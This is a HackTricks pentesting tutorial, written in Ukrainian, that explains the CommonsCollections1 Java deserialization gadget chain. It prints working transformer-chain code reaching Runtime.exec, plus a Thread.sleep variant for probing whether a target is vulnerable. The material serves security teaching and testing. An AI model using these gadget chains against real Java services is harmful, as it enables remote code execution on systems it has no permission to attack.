hacktricks/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md

210 lines
8.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
{{#include ../../banners/hacktricks-training.md}}
## Java Transformers to Rutime exec()
В кількох місцях ви можете знайти java десеріалізаційний payload, який використовує трансформери з Apache common collections, як-от наступний:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
```
Якщо ви нічого не знаєте про java deserialization payloads, може бути важко зрозуміти, чому цей код виконає calc.
По-перше, вам потрібно знати, що **Transformer в Java** - це те, що **отримує клас** і **перетворює його на інший**.\
Також цікаво знати, що **payload**, що **виконується** тут, є **еквівалентом** до:
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
Або **точніше**, що буде виконано в кінці, це буде:
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
### Як
Отже, як перший payload, представлений, еквівалентний цим "простим" однолінійникам?
**По-перше**, ви можете помітити в payload, що **створюється ланцюг (масив) трансформацій**:
```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
Якщо ви прочитаєте код, ви помітите, що якщо ви якимось чином з'єднаєте трансформацію масиву, ви зможете виконувати довільні команди.
Отже, **як ці трансформації з'єднуються?**
```java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
У останній секції payload ви можете побачити, що **створюється об'єкт Map**. Потім виконується функція `decorate` з `LazyMap` з об'єктом мапи та з'єднаними трансформерами. З наступного коду ви можете побачити, що це призведе до того, що **з'єднані трансформери** будуть скопійовані всередині атрибута `lazyMap.factory`:
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
```
А потім виконується велике фінале: `lazyMap.get("anything");`
Це код функції `get`:
```java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
```
А ось код функції `transform`
```java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
```
Отже, пам'ятайте, що всередині **factory** ми зберегли **`chainedTransformer`**, а всередині функції **`transform`** ми **проходимо через усі ці трансформери, з'єднані** та виконуємо один за одним. Смішно те, що **кожен трансформер використовує `object`** **як вхідні дані**, а **об'єкт є виходом з останнього виконаного трансформера**. Отже, **всі трансформації виконуються в ланцюжку, виконуючи шкідливий payload**.
### Резюме
В кінці, через те, як lazyMap управляє з'єднаними трансформерами всередині методу get, це як якщо б ми виконували наступний код:
```java
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
```
_Зверніть увагу, що `value` є вхідним значенням кожного перетворення та вихідним значенням попереднього перетворення, що дозволяє виконати однорядковий код:_
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
Зверніть увагу, що тут **було пояснено гаджети**, використані для **ComonsCollections1** payload. Але залишено **як все це починає виконуватись**. Ви можете побачити [тут, що **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), для виконання цього payload, використовує об'єкт `AnnotationInvocationHandler`, оскільки **коли цей об'єкт буде десеріалізовано**, він **викличе** функцію `payload.get()`, яка **виконає весь payload**.
## Java Thread Sleep
Цей payload може бути **корисним для визначення, чи вразливий веб, оскільки він виконає затримку, якщо так**.
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
```
## Більше гаджетів
Ви можете знайти більше гаджетів тут: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
##
{{#include ../../banners/hacktricks-training.md}}